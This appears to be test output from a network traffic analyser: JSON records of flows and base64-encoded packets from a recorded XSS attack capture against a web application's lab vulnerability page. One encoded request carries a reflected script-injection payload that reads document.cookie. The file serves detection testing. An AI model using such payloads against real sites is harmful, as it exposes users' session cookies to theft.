+01216{"flow_id":342,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4888,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":738548,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ99I9AAD4Gzv+sEAABwKgKMuP4AFDYf+6oEbVvbYAYAR3YZAAAAQEICgE7I0QD5PSBR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdQQ0tBVVhIN0gxNFNKSzEwRjM3WFEwNFA0RElENDBBTDZHRTlYWlM4S0tYNE1GTUsxRyUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02968{"flow_id":342,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4889,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":741429,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAkrlAAEAGKdPAqAoyrBAAAQBQ4\/gRtW9t2H\/w8YAYAP5+XgAAAQEICgPk9LoBOyNESFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI1OjUyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59PKlApa3JF10KTrSCBkgOuaTcU7nTSytl1EoN3vbW9CXz7G+8jWZ5hGyQUvPY8fuMZj2f8Zr31W\/drZ\/BP\/xBNTCRQ\/\/zgtNdBuEHIxfsOId1BF10eD85OUdPZRp5RPDCEHP6NEZ4Yk+wRMpvNnNl7R6oxGXwnN1ZK07IVw4bOeJzQhNh9s\/5mvZXpuYlErNuPyGju7u7mrDn5WmvCaAjDtbVWxAxFlqXBfqZ82sYdGRsWm8bgNmEYBflXGxt2Y4gV8QkFE6o0M+3zwVHjI0Ykl7nWMtwI5v5IRcwUHXLBze0e+s5GggWGhaijpNbI44YhL1A8MTweo81Lz9tCe3uoS6MYlbyCoQs2RPtJInhADZcx2uz+uNjfQtOm09xG77psyoRMIoD2rkVyxQUKweNrpJhoY21uBdMTxgxGBqwpjAi0xmii2KiNHYfAXzidUTtLIspjJ1smD6Vx2IpSzn88omNGYOqupBGdWjInW5jL0Jm1VQhXdErzWYy0Cu4AudLZ\/z4ocK40dlskpyw8RwrX2fFQhrcoEFRbr8uI4dylIZ8iHrax9R1YxFTh9cqSFVKZX2vxaPwASWakJkKOpZPEY4yogEBY4qiF3YAV1D1QbTfZB8elFe0P1vyEhiELc4OAIBWlnXb1QMjg2m6N4EjGAai+buMZj0M5c2Apw9HeyC1xNnDJCgz0jrsc7B7DtrUIhV0W3F1\/iUAew+lLAzulnWSSPCP\/Pil2e5WZemrhwKXJEn1zGux6dogIHD+YRN2DijKSCneFDZ1WzjeH8Biq1DDyDKrHGbB7YP+jI6mCmh64L5DdsKAOgIweux0ZRTQOUS++YplHVkMRaDWqgyKjBxTe96PVFI84cT4ncFTbHDjTkC2JkhfxY\/eIw+Hu2Rm98t6kiZA0rLM7BUcB4zz7WtE\/NDFwc9VyUcGSnVsWpIqhzn5\/0DneXw2K\/il4HRwZPZzpb6evFaxWoj+Ey62WUypc99CgzQM7vbUaqhmj1z6vBalkwe4FjJDHtI1W1OvWTK\/35d5o7dcCkjNgF+oZqFW+nq24FVacqujXLK+iXoRDlTjmxdcroNF1d0OXKDwj1V0IK15B2VmE6nLpdbggw66tHyE+8ql62wH8PB7JJeoqVNjtH\/fhdIxkPUV0KFOzRM2cBrv7dvh622oLvaXqF0TYPc3G9wAUFdud2u\/pQtCWsItCEDoZu1rotmvVQrA1af5KdwElc7MomCvCp\/MK1g9kyHyqGC3q55FUEYppBNU68EPZm6W4Nv4dI+iWJhKwfzkcFLVpKyksvphQs6HRrUxVxvy5rKzjJK0W\/7gQbX\/n9W2VSKfDiAPZlIoUPr38s9BGEjdvKohFmeNNFHOPmRASFa2GC5W\/loKBh8ebG\/3Oyf755fGH4+aO99dJc\/vo\/YfLb9s7\/Z1ur7uzvX\/655fD3ct\/vY8nJ5c7Z0dnJ80vG1ufqhJCGaS203ICKa852\/o0b0kAjmKZaxYebk3+cM\/gwGfhryKaX1YwadeK+IBoXMSVbT510bDKGdVJ1rNCiLIbG2Yk82xDg2f9uWf9zLPQjlE1hk4Uw61E42vs\/rqseRTXxgfcPlQphin\/ENo6MNfvQH9lfK9oPWtifF7ecpwsdmb8mics5DQTbb+qluvS8qexvVzG83gKM4MxnyfjQEb2emiM6E8ne5J4FMQLGF+kOcdJBVOmmUl4Vt0D6qqOIrvloV52rkMF\/W7+W6awJ1JekXcCwaian+bH8qK+1YZFvr1LHs0Pw9QY22cX+eEHZzMExz+Z5+xEJmnil2Qy7uRZf\/HosAcU58kmeuK2n4JEfwISbTh+BkhZTfG2dERbyNkG2sIuWgrLg2QYsNcFpjOZS6HZ3aSCjyFvCzaC\/NlikXuumbJ5d69F4AvRMOJx4UL4LosDdGpflwoakLiggFu91\/WKlZBre32EpRefdOhISnPnsSVxV3ntSh67VqsJmNiLM38XzF7s3P8Bbd3sF5IUAAA="} +00434{"flow_id":342,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4890,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347552,"pkt_ts_usec":742317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09JBAAD4G0UesEAABwKgKMuP4AFDYf\/DxEbV2uYAQATurTgAAAQEICgE7I0UD5PS6"} +00949{"flow_id":342,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4891,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347553,"pkt_ts_usec":764087,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz9JFAAD4Gz8esEAABwKgKMuP4AFDYf\/DxEbV2uYAYATtZVgAAAQEICgE7JEUD5PS6R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02823{"flow_id":342,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4892,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347553,"pkt_ts_usec":767205,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcekrtAAEAGKjPAqAoyrBAAAQBQ4\/gRtXa52H\/ycIAYAQd9\/AAAAQEICgPk9bsBOyRFSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI1OjUzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4901,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":346,"flow_packet_id":1,"flow_first_seen":1499347555255,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":346,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4901,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347555,"pkt_ts_usec":255750,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81HxAAD4G8VOsEAABwKgKMuRIAFCgOPHGAAAAAKACchDBdgAAAgQFtAQCCAoBOyW6AAAAAAEDAwc="} +00444{"flow_id":346,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4902,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347555,"pkt_ts_usec":255825,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5EiyOWdGoDjxx6AScSCtwQAAAgQFtAQCCAoD5PcvATslugEDAwc="} +00432{"flow_id":346,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4903,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347555,"pkt_ts_usec":256616,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01H1AAD4G8VqsEAABwKgKMuRIAFCgOPHHsjlnR4AQAOVMyQAAAQEICgE7JboD5Pcv"} +00432{"flow_id":343,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4906,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347555,"pkt_ts_usec":765050,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eyNAAD4GSrWsEAABwKgKMuQSAFDq3lvuxBhh24ARAOWQLQAAAQEICgE7JjkD5PJB"} +00432{"flow_id":343,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4907,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347555,"pkt_ts_usec":765264,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0lnVAAEAGLWPAqAoyrBAAAQBQ5BLEGGHb6t5b74ARAOOKwQAAAQEICgPk964BOyY5"} +00432{"flow_id":343,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4908,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347555,"pkt_ts_usec":765997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eyRAAD4GSrSsEAABwKgKMuQSAFDq3lvvxBhh3IAQAOWKvwAAAQEICgE7JjkD5Peu"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4912,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":347,"flow_packet_id":1,"flow_first_seen":1499347556523,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":347,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4912,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347556,"pkt_ts_usec":523558,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89uZAAD4GzumsEAABwKgKMuRWAFDF1NARAAAAAKACchC8RAAAAgQFtAQCCAoBOyb3AAAAAAEDAwc="} +00445{"flow_id":347,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4913,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347556,"pkt_ts_usec":523684,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5FYT\/QypxdTQEqAScSCgLAAAAgQFtAQCCAoD5PhsATsm9wEDAwc="} +00434{"flow_id":347,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4914,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347556,"pkt_ts_usec":524253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09udAAD4GzvCsEAABwKgKMuRWAFDF1NASE\/0MqoAQAOU\/NAAAAQEICgE7JvcD5Phs"} +00433{"flow_id":344,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4918,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347556,"pkt_ts_usec":765587,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D\/VAAD4GteOsEAABwKgKMuQgAFDTqC3+oFVeZYARAOX6QgAAAQEICgE7JzMD5POD"} +00433{"flow_id":344,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4919,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347556,"pkt_ts_usec":765808,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ps1AAEAGHQvAqAoyrBAAAQBQ5CCgVV5l06gt\/4ARAOP1HgAAAQEICgPk+KgBOycz"} +00434{"flow_id":344,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4920,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347556,"pkt_ts_usec":766549,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D\/ZAAD4GteKsEAABwKgKMuQgAFDTqC3\/oFVeZoAQAOX1HAAAAQEICgE7JzMD5Pio"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":305,"flow_packet_id":6,"flow_first_seen":1499347485533,"flow_last_seen":1499347490747,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57698,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":305,"flow_packet_id":6,"flow_first_seen":1499347485533,"flow_last_seen":1499347490747,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57698,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":306,"flow_packet_id":6,"flow_first_seen":1499347486787,"flow_last_seen":1499347492748,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57712,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":306,"flow_packet_id":6,"flow_first_seen":1499347486787,"flow_last_seen":1499347492748,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57712,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":6,"flow_first_seen":1499347489408,"flow_last_seen":1499347494749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57738,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":6,"flow_first_seen":1499347489408,"flow_last_seen":1499347494749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57738,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":308,"flow_packet_id":6,"flow_first_seen":1499347490659,"flow_last_seen":1499347495749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57752,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":308,"flow_packet_id":6,"flow_first_seen":1499347490659,"flow_last_seen":1499347495749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57752,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":345,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4924,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347557,"pkt_ts_usec":765764,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0B99AAD4GvfmsEAABwKgKMuQuAFCEqySasT6GM4ARAOUXrwAAAQEICgE7KC0D5PS5"} +00432{"flow_id":345,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4925,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347557,"pkt_ts_usec":765980,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0f5FAAEAGREfAqAoyrBAAAQBQ5C6xPoYzhKskm4ARAOMSxwAAAQEICgPk+aIBOygt"} +00432{"flow_id":345,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4926,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347557,"pkt_ts_usec":766523,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0B+BAAD4GvfisEAABwKgKMuQuAFCEqySbsT6GNIAQAOUSxQAAAQEICgE7KC0D5Pmi"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4927,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":348,"flow_packet_id":1,"flow_first_seen":1499347557789,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58468,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 